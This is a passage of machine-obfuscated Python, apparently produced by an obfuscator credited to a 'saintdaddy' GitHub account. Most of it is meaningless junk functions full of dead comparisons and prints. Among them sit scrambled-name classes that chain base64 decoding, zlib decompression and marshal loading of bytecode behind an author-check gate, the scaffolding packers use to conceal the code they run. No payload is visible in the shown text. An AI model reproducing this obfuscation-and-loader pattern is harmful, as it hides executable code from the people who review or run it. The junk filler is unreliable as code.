z7514216 = 4751536 + zz9413425 = 7585218 + + c5881742 = 2073374 + cc5198390 = 5534569 + + elif 1486724 == 7258064: + + print(9798305) + + aaa4955709 = 879322 + print(3662392) + + bbb7069298 = 1620238 + aa6082793 = 7392661 + x8695806 = 2341794 + xx6555028 = 4894855 + + a2121097 = 3473088 + aa2681432 = 5228537 + +def saint2073382(): + if 6678650 == 9078535: + + print(2596899) + aaa6223064 = 6175516 + + print(6358109) + bbb5362401 = 9060742 + + aa3245863 = 3772519 + + z7960889 = 3825131 + zz3506998 = 7617759 + + c1414287 = 9133252 + cc8031742 = 1611364 + + elif 567796 == 5778454: + + print(9871515) + + aaa3489756 = 6717153 + print(4493193) + + bbb7561780 = 7062793 + aa164981 = 5592306 + x1297846 = 5138379 + xx2692721 = 7282978 + + a8630815 = 345848 + aa5355136 = 2254221 + +def saint8704635(): + if 5301421 == 4324325: + + print(6677711) + aaa432544 = 9183795 + + print(1920437) + bbb9483522 = 8002176 + + aa993093 = 5354624 + + z3827468 = 3866582 + zz2959748 = 1112201 + + c5415329 = 6753431 + cc4178604 = 2902926 + + elif 5195995 == 1513033: + + print(9198822) + + aaa4680710 = 7427996 + print(1417704) + + bbb9180261 = 1172295 + aa5054702 = 9637785 + x2893270 = 582897 + xx2283702 = 9673362 + + a162461 = 8816189 + aa4664576 = 2455113 + +def saint2677276(): + if 5910008 == 1801585: + + print(1606754) + aaa9235904 = 7865120 + + print(6155407) + bbb6983417 = 260461 + + aa4747050 = 6910465 + + z8835814 = 8476979 + zz1972258 = 5039706 + + c8108971 = 2846380 + cc2192509 = 2479870 + + elif 2753632 == 2091685: + + print(8825962) + + aaa385458 = 2264477 + print(2147314) + + bbb8068340 = 6315876 + aa4157135 = 6336839 + x4920859 = 8198920 + xx1124533 = 3236968 + + a7427701 = 8748556 + aa5371211 = 7144764 + +def saint3839318(): + if 7096810 == 2832942: + + print(3817146) + aaa7347598 = 5128951 + + print(753385) + bbb617838 = 1395651 + + aa7084987 = 6556161 + + z7420907 = 7988780 + zz7707935 = 6147145 + + c5175963 = 6731703 + cc3519639 = 2700376 + + elif 5037076 == 6067606: + + print(2997926) + + aaa1917444 = 9035225 + print(9379872) + + bbb5740115 = 1633625 + aa4965492 = 4583561 + x7702787 = 7383308 + xx2681318 = 4194526 + + a3490506 = 8640841 + aa1515119 = 8952160 + +def saint1541621(): + if 8299326 == 9662286: + + print(2815258) + aaa3217257 = 8570608 + + print(1115430) + bbb4373531 = 7636017 + + aa6852747 = 7429715 + + z2994457 = 3229368 + zz6578513 = 9689019 + + c4977559 = 6045235 + cc106730 = 354267 + + elif 8905691 == 4592455: + + print(8821237) + + aaa9133445 = 2948902 + print(5682634) + + bbb6176662 = 4198836 + aa3654360 = 7658713 + x6118847 = 2243256 + xx2830323 = 2081456 + + a2768938 = 3919041 + aa5707627 = 567445 + +def saint9242477(): + if 1903011 == 6858872: + + print(9061176) + aaa1386108 = 6715253 + + print(1341855) + bbb9210083 = 1700802 + + aa2712420 = 1823139 + + z4094800 = 246846 + zz7700480 = 3859931 + + c6012934 = 3188965 + cc1618159 = 3519574 + + elif 2096244 == 2958472: + + print(5938630) + + aaa9034533 = 5543309 + print(248067) + + bbb5948905 = 3438260 + aa6487734 = 8343222 + x2467254 = 5496122 + xx3582012 = 8747547 + + a4714980 = 9407627 + aa6257534 = 6369404 + +def saint4905225(): + if 4331492 == 4327112: + + print(7574333) + aaa8621701 = 4430044 + + print(5334376) + bbb1569078 = 427960 + + aa2791500 = 4383271 + + z542247 = 9359423 + zz7921881 = 1106160 + + c4616818 = 916182 + cc444086 = 5915146 + + elif 8854668 == 4724994: + + print(5306800) + + aaa7371022 = 1779322 + print(1163637) + + bbb1667565 = 3574467 + aa9333622 = 9020673 + x9534104 = 7328647 + xx6822630 = 7370651 + + a849438 = 1112285 + aa1741231 = 522419 + +def saint4645451(): + if 8542967 == 1754197: + + print(3456419) + aaa8701353 = 1547622 + + print(7434262) + bbb4650256 = 2098714 + + aa2859504 = 2007619 + + z804195 = 7195088 + zz7843870 = 2089633 + + c4846904 = 3749276 + cc5353987 = 2290147 + + elif 885608 == 840603: + + print(3416510) + + aaa5138174 = 7369409 + print(9432706) + + bbb9229133 = 8472738 + aa8803540 = 2542864 + x4640340 = 2424390 + xx5360627 = 9308638 + + a4576512 = 2477570 + aa2928416 = 893233 + +def saint1346378(): + if 3826990 == 6003024: + + print(3200658) + aaa2171937 = 8029364 + + print(4174984) + bbb1268276 = 6058142 + + aa9828626 = 8871299 + + z5490288 = 7118168 + zz8586468 = 469850 + + c2852327 = 5376669 + cc7869599 = 8324352 + + elif 8179863 == 6079901: + + print(6844199) + + aaa4041681 = 3633920 + print(4243623) + + bbb9317295 = 2166177 + aa6434440 = 4207116 + x9628133 = 2008129 + xx5217951 = 1792026 + + a6436298 = 2745423 + aa5204659 = 8125086 + +def saint8707063(): + if 9137271 == 5285754: + + print(1795632) + aaa1292406 = 6679246 + + print(8223911) + bbb8371117 = 3997081 + + aa2380500 = 6395672 + + z6033075 = 8110618 + zz9249149 = 6157796 + + c3402858 = 7609941 + cc5849185 = 1610545 + + elif 4656430 == 2854468: + + print(605692) + + aaa726097 = 8067406 + print(1975488) + + bbb734871 = 7277521 + aa207100 = 7046231 + x7859758 = 2903069 + xx4960702 = 9581159 + + a1755258 = 4821063 + aa2155766 = 5104516 + +def saint9258525(): + if 4591733 == 1986967: + + print(7311696) + aaa5314127 = 7853251 + + print(8022101) + bbb8157240 = 4798934 + + aa5821088 = 8331571 + + z7673064 = 9808694 + zz4206700 = 2075443 + + c3407326 = 2098938 + cc4645160 = 3093271 + + elif 5721017 == 1668486: + + print(9556525) + + aaa2458784 = 3933551 + print(5491870) + + bbb1883179 = 9836901 + aa6211442 = 2165254 + x772694 = 6992662 + xx6741071 = 2858642 + + a2657876 = 3074597 + aa508001 = 7815145 + +def saint1033764(): + if 4718932 == 5825609: + + print(6175511) + aaa2039527 = 1979221 + + print(8618244) + bbb3700139 = 1543014 + + aa8472180 = 5773543 + + z5717455 = 8501234 + zz1263146 = 3922443 + + c5099710 = 8220580 + cc8469474 = 4125305 + + elif 6240701 == 7075873: + + print(6786321) + + aaa7270739 = 4946414 + print(7758564) + + bbb369860 = 7021764 + aa6430204 = 9068132 + x5813859 = 4170959 + xx2734895 = 5664943 + + a212016 = 9253278 + aa427846 = 3254366 + +def saint4240846(): + if 5785363 == 4889824: + + print(7272260) + aaa2299914 = 6666524 + + print(2969655) + bbb1349686 = 9024311 + + aa5275086 = 5595597 + + z4797112 = 1278095 + zz8701959 = 5562903 + + c3768877 = 7169540 + cc7363847 = 3180539 + + elif 5411363 == 9455895: + + print(6792632) + + aaa9748282 = 8570210 + print(3620021) + + bbb9163768 = 7996604 + aa9044594 = 3804139 + x6721563 = 432095 + xx7139375 = 8137309 + + a8430039 = 6462717 + aa3476832 = 3133495 + +def saint952932(): + if 5245904 == 2983328: + + print(9730546) + aaa9672461 = 8205773 + + print(8458848) + bbb1006385 = 5712973 + + aa4369344 = 2096138 + + z2863567 = 7363301 + zz4074399 = 4360980 + + c4346162 = 7620702 + cc478342 = 3828973 + + elif 5658302 == 243189: + + print(6608141) + + aaa8362795 = 8246666 + print(6224484) + + bbb4259027 = 5221464 + aa6998540 = 6795904 + x1169075 = 6202546 + xx4689016 = 3892966 + + a4047585 = 4861728 + aa260479 = 9975871 + +class Fincan_kahvem_hatrina_saydim_Bir_yudumluk_askim_deli_sarhos_Komplo_ordularinin_gardiyanlari_Neyim_var_ki_Rapten_gayri: + def Aleminde_Sagopa_ve_Ceza_Rap_icin_bir_pranga(): + from base64 import b64decode as _; + if config[_("X19WQVJFX18=").decode()] == _('Mi4w').decode(): + if config[_("X19BdXRob3JfXw==").decode()] == _('aHR0cHM6Ly9naXRodWIuY29tL3NhaW50ZGFkZHk=').decode(): + return True + +def saint826977(): + if 7385733 == 6785498: + + print(966471) + aaa5482740 = 6905836 + + print(7002583) + bbb3707655 = 8723214 + + aa6780677 = 352292 + + z3525148 = 1525103 + zz7219681 = 2070734 + + c752702 = 6950403 + cc8585105 = 2480035 + + elif 8362293 == 1993796: + + print(5585271) + + aaa5863376 = 5921265 + print(5568585) + + bbb164859 = 392685 + aa8253853 = 6996226 + x5802844 = 7294056 + xx3715485 = 6062314 + + a2499435 = 8214546 + aa565677 = 2410372 + +def saint395582(): + if 2318769 == 5734884: + + print(6877183) + aaa3785593 = 7323611 + + print(7633587) + bbb3773349 = 5538555 + + aa4955866 = 6333885 + + z4652896 = 7798608 + zz9069153 = 8595782 + + c4751380 = 1274609 + cc3677146 = 5992655 + + elif 1720746 == 9720812: + + print(7091115) + + aaa7121344 = 8442134 + print(1256509) + + bbb5375168 = 9141512 + aa3865826 = 3663136 + x9681125 = 8696027 + xx6396178 = 8021899 + + a8761368 = 5323123 + aa6590110 = 5522836 + +def saint6677444(): + if 3043073 == 2365840: + + print(7085078) + aaa7572512 = 1463335 + + print(3988738) + bbb7046038 = 2804977 + + aa2455499 = 9577398 + + z6886987 = 3235231 + zz7089934 = 4411062 + + c5655802 = 4434218 + cc4568223 = 9056339 + + elif 8236599 == 8365310: + + print(4646018) + + aaa3152247 = 3001007 + print(7100255) + + bbb5543274 = 7455881 + aa9787238 = 3729707 + x5241843 = 8123776 + xx3938996 = 4093914 + + a542200 = 8555415 + aa9535387 = 5313432 + +def saint1946823(): + if 3104699 == 7137694: + + print(9895712) + aaa1910689 = 8488232 + + print(4213014) + bbb5633295 = 2257296 + + aa9370394 = 8753489 + + z5308531 = 5882213 + zz5359912 = 3159448 + + c5068222 = 7501843 + cc4462790 = 1910345 + + elif 3613950 == 4737402: + + print(825333) + + aaa7427880 = 6043848 + print(8947992) + + bbb7152199 = 9294209 + aa1324239 = 6111341 + x9996999 = 8015279 + xx9043645 = 7143613 + + a2167712 = 4510451 + aa6391968 = 8510319 + +def saint3609701(): + if 2913976 == 1017854: + + print(2223525) + aaa9427009 = 8206042 + + print(1851518) + bbb6987800 = 5099811 + + aa1435230 = 9343564 + + z2283352 = 8469730 + zz3819422 = 8452980 + + c8239031 = 3234296 + cc7702897 = 9339387 + + elif 3337992 == 3723803: + + print(2850006) + + aaa4890823 = 9280985 + print(5711908) + + bbb3610030 = 8977723 + aa3130466 = 2330895 + x6823458 = 3652190 + xx5845382 = 6745824 + + a8522855 = 2675467 + aa1844035 = 2254181 + +def saint2481750(): + if 9294464 == 1988067: + + print(4696908) + aaa5163240 = 5483979 + + print(9660844) + bbb9565394 = 5476137 + + aa9133787 = 7346063 + + z8936152 = 6966730 + zz1060500 = 4985530 + + c3131899 = 1211477 + cc3102135 = 5104688 + + elif 8888502 == 7825002: + + print(7519150) + + aaa6405200 = 2325147 + print(4445499) + + bbb6188055 = 9868192 + aa2081821 = 2504252 + x9771714 = 1625337 + xx970329 = 3354590 + + a5857696 = 8309621 + aa5797276 = 1112672 + +def saint8332478(): + if 8309885 == 1287963: + + print(5587658) + aaa4595758 = 7985504 + + print(7934829) + bbb8092172 = 8322493 + + aa2683293 = 9449997 + + z8613044 = 2263074 + zz9612476 = 2123911 + + c724392 = 3386908 + cc6739795 = 2888660 + + elif 3790423 == 8091931: + + print(4388519) + + aaa6864881 = 4074230 + print(8250995) + + bbb1088069 = 8552549 + aa2135140 = 8406265 + x8690294 = 8763817 + xx9283917 = 9063771 + + a8032963 = 5272582 + aa7437236 = 5584798 + +def saint790008(): + if 3921499 == 4257156: + + print(9501848) + aaa5154910 = 9376970 + + print(9316845) + bbb4758239 = 6781866 + + aa4453029 = 9822081 + + z5093257 = 8207298 + zz4212769 = 5097759 + + c8042908 = 250125 + cc4689699 = 1309211 + + elif 8173030 == 5827912: + + print(6917059) + + aaa8222796 = 3176109 + print(347252) + + bbb8323409 = 8200302 + aa5888166 = 1485971 + x8525565 = 5547465 + xx9094012 = 3918980 + + a9202473 = 1748061 + aa9045035 = 6871660 + +def saint9432665(): + if 6977105 == 486523: + + print(591305) + aaa9972746 = 2050555 + + print(8435305) + bbb6238975 = 8582090 + + aa9440215 = 1477263 + + z9745068 = 6710945 + zz169569 = 2618306 + + c127103 = 8023336 + cc5043078 = 2412882 + + elif 1013730 == 9726227: + + print(6916322) + + aaa9095270 = 3843644 + print(2719463) + + bbb3035250 = 2209617 + aa3604648 = 3291232 + x4953322 = 4242865 + xx8396779 = 928967 + + a7199502 = 1863672 + aa892399 = 2465055 + +def saint6150760(): + if 2367838 == 4248278: + + print(9683666) + aaa1060563 = 6429471 + + print(8065647) + bbb3159736 = 6368882 + + aa7846225 = 2781979 + + z6123825 = 8044820 + zz7535633 = 8007292 + + c9501290 = 4802615 + cc4114122 = 6657771 + + elif 9481331 == 285772: + + print(4909630) + + aaa1971109 = 1310498 + print(2004636) + + bbb1437185 = 2687906 + aa7894677 = 9491102 + x4147758 = 9916515 + xx6379589 = 7547794 + + a8537736 = 245848 + aa8622696 = 5818403 + +def saint8756885(): + if 6409202 == 6031985: + + print(7791997) + aaa192775 = 8069206 + + print(7780438) + bbb9925836 = 6314584 + + aa6684460 = 5390205 + + z4667651 = 8259925 + zz5371891 = 6665077 + + c4801655 = 3359005 + cc8416313 = 5021433 + + elif 5919694 == 616044: + + print(4662920) + + aaa3135173 = 9311915 + print(8974724) + + bbb7525746 = 8914970 + aa1792264 = 3190870 + x8618603 = 952291 + xx4973039 = 8330550 + + a3266644 = 5961866 + aa1468253 = 3184489 + +def saint2408429(): + if 8927326 == 952900: + + print(2800426) + aaa3445860 = 8297669 + + print(4697809) + bbb3391872 = 6071024 + + aa4450505 = 7185438 + + z3544503 = 5936690 + zz9590676 = 8426763 + + c7672917 = 8816167 + cc7746084 = 1261153 + + elif 6417997 == 4891451: + + print(4060934) + + aaa8490660 = 6064221 + print(5186389) + + bbb310649 = 640732 + aa1663812 = 8472794 + x8827393 = 405601 + xx3485514 = 2318634 + + a4405878 = 6451185 + aa1133214 = 2102222 + +def saint3712720(): + if 813497 == 7006498: + + print(7641517) + aaa5335711 = 2493398 + + print(1186054) + bbb9435157 = 9646414 + + aa9870812 = 5691825 + + z8802988 = 5245121 + zz6032268 = 9664621 + + c7581329 = 1819442 + cc9852768 = 3727682 + + elif 1147379 == 3441271: + + print(1690536) + + aaa226927 = 2109986 + print(6021685) + + bbb8185126 = 8691450 + aa9642001 = 4710223 + x8078260 = 7801754 + xx5164297 = 7396428 + + a1085396 = 3733058 + aa9071395 = 4953994 + +def saint8829220(): + if 9272373 == 131807: + + print(5289407) + aaa3955691 = 7974256 + + print(5480434) + bbb7148998 = 7910072 + + aa9092894 = 6227941 + + z3488503 = 6242937 + zz3471480 = 2960567 + + c1436859 = 9583376 + cc2148053 = 9870329 + + elif 3502305 == 7235671: + + print(2850751) + + aaa5957687 = 9028428 + print(574468) + + bbb4066132 = 9767428 + aa2223186 = 9395550 + x8039254 = 2526113 + xx4065664 = 7229467 + + a5039589 = 8132103 + aa1906990 = 9957661 + +def saint1064591(): + if 2303548 == 8459354: + + print(3165407) + aaa6964061 = 6254460 + + print(3595091) + bbb2479940 = 4830057 + + aa1129383 = 4520043 + + z7561636 = 7611046 + zz395655 = 6365236 + + c1900313 = 7168546 + cc5050234 = 5042682 + + elif 5542032 == 3234048: + + print(2845791) + + aaa8014168 = 5681981 + print(7976945) + + bbb7470807 = 8112585 + aa8708793 = 8853549 + x1185035 = 5762527 + xx5843115 = 1392084 + + a8279508 = 330673 + aa7652613 = 3234520 + +class iLCvZKyPTl: + from base64 import b64decode as ___ + def ___________(_): + if Fincan_kahvem_hatrina_saydim_Bir_yudumluk_askim_deli_sarhos_Komplo_ordularinin_gardiyanlari_Neyim_var_ki_Rapten_gayri.Aleminde_Sagopa_ve_Ceza_Rap_icin_bir_pranga():__ = _;____ = iLCvZKyPTl.___(__);return ____.decode() + def Komplo_ordularinin_gardiyanlari(_): + if Fincan_kahvem_hatrina_saydim_Bir_yudumluk_askim_deli_sarhos_Komplo_ordularinin_gardiyanlari_Neyim_var_ki_Rapten_gayri.Aleminde_Sagopa_ve_Ceza_Rap_icin_bir_pranga():__ = _;____ = iLCvZKyPTl.___(__);return ____ + +def saint4001501(): + if 1749930 == 8617337: + + print(9647126) + aaa3397324 = 2192211 + + print(8363139) + bbb448696 = 1793614 + + aa1049191 = 4684158 + + z9435667 = 4563019 + zz3669423 = 3001354 + + c8959877 = 6567605 + cc9451510 = 3890084 + + elif 1048177 == 864104: + + print(6669014) + + aaa6481295 = 613636 + print(3997884) + + bbb8728906 = 7298980 + aa419270 = 4525858 + x9372580 = 8117474 + xx5668764 = 3566084 + + a6276796 = 8195449 + aa1743108 = 4987060 + +def saint650128(): + if 6543962 == 4829663: + + print(2664320) + aaa5137875 = 1948151 + + print(5294169) + bbb1485862 = 4307836 + + aa1850435 = 2285520 + + z5032267 = 6217955 + zz987593 = 8328908 + + c5554586 = 6794903 + cc2334685 = 7004602 + + elif 7193356 == 1296455: + + print(4862312) + + aaa1218889 = 444944 + print(9105212) + + bbb4288051 = 908217 + aa5996372 = 3686330 + x3307301 = 7906132 + xx8986085 = 5201581 + + a5097329 = 1830170 + aa685573 = 2837081 + +def saint4218725(): + if 6894524 == 8534768: + + print(2685583) + aaa5842834 = 4647306 + + print(119607) + bbb7153618 = 2398315 + + aa4730004 = 5088332 + + z9372558 = 7790097 + zz1245953 = 2560169 + + c3041106 = 4122758 + cc1498041 = 612142 + + elif 866158 == 7774136: + + print(1130277) + + aaa4028456 = 4499771 + print(4049451) + + bbb9296852 = 747120 + aa1153194 = 4593963 + x3443727 = 7435898 + xx2544852 = 2259615 + + a3230441 = 3814033 + aa8342388 = 9868023 + +def saint109577(): + if 9442932 == 7251623: + + print(8616442) + aaa6198831 = 8946546 + + print(8749759) + bbb2005322 = 8669729 + + aa848198 = 9019408 + + z5361921 = 4890101 + zz4021272 = 9173075 + + c5420458 = 2308204 + cc902803 = 7365844 + + elif 5996654 == 6954727: + + print(2256495) + + aaa2476133 = 5791734 + print(4080421) + + bbb9771194 = 1511001 + aa9972612 = 4874171 + x8374099 = 6588359 + xx7345504 = 174850 + + a4592632 = 1074697 + aa9868591 = 1090003 + +def saint2307565(): + if 668449 == 5903503: + + print(8756513) + aaa6159185 = 3249858 + + print(8192510) + bbb5539766 = 1772195 + + aa2455080 = 2661991 + + z8447968 = 9745478 + zz3914737 = 4562614 + + c3630293 = 9192539 + cc8062896 = 2382929 + + elif 8602709 == 5499614: + + print(8960517) + + aaa3997242 = 2563759 + print(2324672) + + bbb8837070 = 4179129 + aa7029511 = 1942986 + x6110916 = 9457031 + xx4059094 = 3021575 + + a2732871 = 3791792 + aa5361901 = 7737794 + +def saint4333462(): + if 3524171 == 381735: + + print(8405001) + aaa4433355 = 1550522 + + print(654148) + bbb6403103 = 2662253 + + aa9110255 = 2773281 + + z345107 = 1699219 + zz2263352 = 6143572 + + c6913575 = 2309454 + cc1603204 = 7003142 + + elif 2534264 == 1455313: + + print(3707852) + + aaa8247544 = 9156135 + print(5584904) + + bbb6744858 = 1148125 + aa6056983 = 2552238 + x6706115 = 4838670 + xx8817130 = 868249 + + a6803985 = 7095913 + aa1509719 = 4915529 + +def saint1262080(): + if 5641474 == 5259801: + + print(2569758) + aaa9227839 = 3985972 + + print(3045228) + bbb3218865 = 196760 + + aa5973256 = 1977619 + + z4631411 = 5151150 + zz3925357 = 328174 + + c6156585 = 2290444 + cc9794953 = 6897864 + + elif 8046643 == 8258895: + + print(5780825) + + aaa9360721 = 5938898 + print(667372) + + bbb9350426 = 7145698 + aa7513723 = 5339989 + x5558245 = 7427240 + xx9102205 = 3076959 + + a8661351 = 8008817 + aa3448145 = 8372729 + +def saint9539206(): + if 3581259 == 1488156: + + print(2361914) + aaa3466931 = 1728771 + + print(7541797) + bbb4810893 = 333734 + + aa8290318 = 9041068 + + z2516172 = 956132 + zz7117888 = 9722097 + + c3221210 = 6962219 + cc1682238 = 4570876 + + elif 6941880 == 3160592: + + print(8896686) + + aaa134167 = 4662079 + print(5891704) + + bbb5665107 = 9181493 + aa4862651 = 8083793 + x2279618 = 4107798 + xx1886372 = 983539 + + a2911103 = 5345638 + aa3457488 = 6397186 + +def saint8200567(): + if 7101631 == 745881: + + print(8081832) + aaa5286871 = 3751008 + + print(9590122) + bbb9097243 = 854242 + + aa2586535 = 2831142 + + z9249086 = 4501623 + zz1828381 = 4065953 + + c4760206 = 5101466 + cc3535119 = 8055882 + + elif 136292 == 3737000: + + print(4277454) + + aaa7064060 = 7040747 + print(2899609) + + bbb2489352 = 5360590 + aa1731418 = 4596290 + x2363694 = 3206863 + xx4044744 = 228090 + + a9310967 = 5398781 + aa4067462 = 8110333 + +def saint2057822(): + if 3008433 == 6960433: + + print(5512100) + aaa3050784 = 4033208 + + print(8585864) + bbb2568615 = 676883 + + aa7642263 = 7978708 + + z2008628 = 1012653 + zz447442 = 8036785 + + c5971634 = 8762832 + cc4088777 = 7711434 + + elif 4869382 == 5544515: + + print(5833722) + + aaa3996904 = 9793679 + print(3249302) + + bbb6887226 = 5255649 + aa1698000 = 5872024 + x9927880 = 4579240 + xx8635136 = 6812922 + + a6001901 = 8163311 + aa1769481 = 209945 + +def saint9236782(): + if 3126411 == 517797: + + print(3726429) + aaa7475056 = 865141 + + print(4157612) + bbb2434107 = 2270298 + + aa1277096 = 7295177 + + z9854986 = 8550804 + zz961279 = 1478627 + + c7082098 = 5697064 + cc5896876 = 2638985 + + elif 7471712 == 9541581: + + print(4471292) + + aaa6880227 = 8788586 + print(9998902) + + bbb3484627 = 3356078 + aa786517 = 7360506 + x419233 = 9053065 + xx2017423 = 9095825 + + a4141611 = 7877674 + aa2265386 = 6217268 + +def saint4066767(): + if 1622240 == 4987061: + + print(8177635) + aaa3325507 = 6137350 + + print(2711028) + bbb101051 = 1785085 + + aa4093122 = 409130 + + z4945851 = 7688290 + zz4327854 = 4470809 + + c3688782 = 878685 + cc1303560 = 1173757 + + elif 8171888 == 2975671: + + print(3846244) + + aaa4685159 = 3336474 + print(3111252) + + bbb8026745 = 6987044 + aa5126019 = 7449960 + x2219343 = 9102384 + xx9843036 = 8872871 + + a919527 = 5529860 + aa7752400 = 6394536 + +def saint1942053(): + if 4744722 == 9564757: + + print(1038002) + aaa8409727 = 7241727 + + print(9311828) + bbb1760612 = 7022578 + + aa9535441 = 6037872 + + z2127533 = 2207801 + zz9212580 = 5019724 + + c9808825 = 3959773 + cc8000127 = 5937648 + + elif 744905 == 9591419: + + print(5821372) + + aaa8934363 = 8446754 + print(8097715) + + bbb5498111 = 3255502 + aa9327897 = 6425659 + x9553062 = 5281707 + xx2611699 = 3060010 + + a5054751 = 558255 + aa6671111 = 5346794 + +def saint2874889(): + if 1426962 == 6181017: + + print(1633438) + aaa3485724 = 6743904 + + print(1072819) + bbb969795 = 7850769 + + aa9233059 = 9238582 + + z1066686 = 9686467 + zz528913 = 7115812 + + c6054358 = 721836 + cc7800693 = 3747605 + + elif 5406483 == 9703610: + + print(4631794) + + aaa5772111 = 2673643 + print(7144509) + + bbb5661506 = 5086814 + aa2055598 = 7100129 + x3342556 = 9767837 + xx5655725 = 3297799 + + a3335792 = 9673869 + aa7892881 = 4293412 + +def saint9904016(): + if 8191421 == 6799865: + + print(947223) + aaa7113654 = 8595899 + + print(5699485) + bbb6054659 = 9335525 + + aa867321 = 9417842 + + z752301 = 9697085 + zz7920415 = 8568372 + + c2285616 = 3251061 + cc8769014 = 6595199 + + elif 147196 == 3110915: + + print(8878971) + + aaa339712 = 4645313 + print(1237704) + + bbb1698229 = 3280147 + aa5484639 = 2091965 + x825291 = 3054638 + xx9487448 = 9444647 + + a8962781 = 5190145 + aa3840903 = 1701467 + +class qUIxUIdfpJdegkC: + from zlib import decompress as ___;from marshal import loads as ____ + def Bir_yudumluk_askim_deli_sarhos(_): + if Fincan_kahvem_hatrina_saydim_Bir_yudumluk_askim_deli_sarhos_Komplo_ordularinin_gardiyanlari_Neyim_var_ki_Rapten_gayri.Aleminde_Sagopa_ve_Ceza_Rap_icin_bir_pranga():_______ = _;__ = qUIxUIdfpJdegkC.___(_______);return __ + def Fincan_kahvem_hatrina_saydim(_): + if Fincan_kahvem_hatrina_saydim_Bir_yudumluk_askim_deli_sarhos_Komplo_ordularinin_gardiyanlari_Neyim_var_ki_Rapten_gayri.Aleminde_Sagopa_ve_Ceza_Rap_icin_bir_pranga():__ = _;________ = qUIxUIdfpJdegkC.____(__);return(________) + +def saint5373545(): + if 159040 == 927512: + + print(8986967) + aaa5836409 = 3864062 + + print(583168) + bbb8380928 = 7803576 + + aa6680744 = 1288461 + + z3703913 = 5856206 + zz5465483 = 1624922 + + c2373814 = 7171296 + cc1910128 = 2868105 + + elif 689188 == 4687968: + + print(4564162) + + aaa7301783 = 8427478 + print(3552012) + + bbb3595730 = 5991046 + aa2959760 = 1361396 + x8784360 = 1902864 + xx4083713 = 5254784 + + a581254 = 7617883 + aa6680271 = 2000930 + +def saint3127728(): + if 3185161 == 2947794: + + print(7711679) + aaa8559751 = 213265 + + print(9288374) + bbb6357093 = 5452673 + + aa2898752 = 5503871 + + z9205740 = 8822350 + zz9283287 = 1486133 + + c5219031 = 3386784 + cc7188325 = 9852598 + + elif 6306743 == 7908062: + + print(1431797) + + aaa2156999 = 8602767 + print(1605858) + + bbb212322 = 8690546 + aa1629321 = 2075332 + x8036539 = 1314834 + xx820912 = 3616113 + + a421066 = 929990 + aa3316983 = 595184 + +def saint4891576(): + if 8611205 == 8747207: + + print(7169237) + aaa7802147 = 2160680 + + print(3345497) + bbb2121984 = 9550908 + + aa5090556 = 4692593 + + z8850605 = 4185625 + zz9766559 = 1838139 + + c2967078 = 3912402 + cc392235 = 2448575 + + elif 9217538 == 8382704: + + print(4522587) + + aaa9092183 = 4274842 + print(5260810) + + bbb2043005 = 4486095 + aa7003407 = 9860042 + x6506934 = 3788525 + xx5615303 = 8000962 + + a1204314 = 605356 + aa3949609 = 8179116 + +def saint1950894(): + if 3695643 == 4547653: + + print(5900195) + aaa4037515 = 7003614 + + print(4694775) + bbb1051055 = 5449815 + + aa7692910 = 3470367 + + z8052276 = 4634837 + zz3632367 = 5481356 + + c7075411 = 5519236 + cc8172746 = 4343774 + + elif 9620908 == 1520519: + + print(2058301) + + aaa3321183 = 382484 + print(5584403) + + bbb4440110 = 669619 + aa9011129 = 723608 + x8503643 = 4441130 + xx6748644 = 2353772 + + a1588836 = 8294495 + aa7326591 = 6220473 + +def saint118546(): + if 3710064 == 4563452: + + print(2983917) + aaa7073838 = 5990252 + + print(2880325) + bbb3094943 = 4256664 + + aa4566790 = 4581789 + + z2876682 = 2584342 + zz2652343 = 9762322 + + c4207505 = 9889112 + cc8801163 = 4682454 + + elif 1108264 == 7431685: + + print(1860234) + + aaa9261820 = 1653710 + print(9911003) + + bbb3468560 = 5055413 + aa3389667 = 4280849 + x9812158 = 5727170 + xx177148 = 9251617 + + a9773574 = 3138799 + aa7933374 = 4406241 + +def saint896884(): + if 4507746 == 5070624: + + print(6181621) + aaa6922493 = 7495690 + + print(5802717) + bbb6966938 = 5370887 + + aa132335 = 1140920 + + z4021397 = 8789553 + zz8210464 = 6233629 + + c3308982 = 9076735 + cc5740002 = 3494946 + + elif 2851716 == 5715290: + + print(3313347) + + aaa9613843 = 2024034 + print(8607737) + + bbb768654 = 5710677 + aa688333 = 2386953 + x4854144 = 5563099 + xx3203005 = 1799042 + + a7925522 = 9951104 + aa4419695 = 543814 + +def saint9024802(): + if 5494870 == 5749174: + + print(7064686) + aaa6216395 = 665422 + + print(3766895) + bbb590818 = 9860001 + + aa8215998 = 8551726 + + z1967501 = 5759610 + zz1090650 = 3147059 + + c8801123 = 7949073 + cc2068022 = 7103180 + + elif 7864222 == 6098649: + + print(5167839) + + aaa5676795 = 1405365 + print(909188) + + bbb2359736 = 3162029 + aa8618541 = 7747355 + x5157715 = 1549859 + xx4100008 = 9998258 + + a390108 = 8767035 + aa1110206 = 7368415 + +def saint4201280(): + if 5520945 == 6185345: + + print(6279331) + aaa6946339 = 4718544 + + print(7542288) + bbb3359758 = 7574189 + + aa4910339 = 6083108 + + z5629125 = 1361985 + zz1498657 = 3423196 + + c9182171 = 2381941 + cc626370 = 8562646 + + elif 2342309 == 1701176: + + print(8913061) + + aaa4773679 = 536821 + print(4464464) + + bbb2609704 = 3402782 + aa362804 = 1806657 + x1976902 = 8464761 + xx9317692 = 3575793 + + a2790724 = 4557230 + aa9664509 = 5048114 + +def saint8874353(): + if 8587957 == 6698727: + + print(9466718) + aaa1038756 = 615738 + + print(4942486) + bbb4770865 = 7206574 + + aa9725175 = 2889310 + + z7897007 = 8424991 + zz8928541 = 6235528 + + c6282941 = 8063055 + cc1922244 = 5012627 + + elif 8638125 == 6815211: + + print(1246553) + + aaa9804821 = 3839302 + print(4125061) + + bbb8465407 = 8237163 + aa9782322 = 8509173 + x8723842 = 1100953 + xx5409911 = 8915950 + + a4390902 = 5413255 + aa4082011 = 1236788 + +def saint4514782(): + if 7279408 == 4339802: + + print(686448) + aaa3353396 = 5383230 + + print(7522995) + bbb1008843 = 249685 + + aa6760362 = 4197501 + + z8798075 = 6673059 + zz7788086 = 9336748 + + c4877356 = 7984164 + cc4907443 = 5990447 + + elif 9658663 == 8565336: + + print(5378902) + + aaa3154418 = 9098613 + print(3407230) + + bbb7212477 = 6999350 + aa8253371 = 8533659 + x7525533 = 6169387 + xx9503206 = 4671869 + + a9002855 = 8788675 + aa3989953 = 3456981 + +def saint5757857(): + if 9488974 == 6897648: + + print(4665681) + aaa3884382 = 3177814 + + print(4500878) + bbb6947074 = 9083419 + + aa8811696 = 6619778 + + z9381811 = 1597988 + zz1162949 = 2672635 + + c8600867 = 5828205 + cc5333779 = 6326942 + + elif 1250814 == 5361929: + + 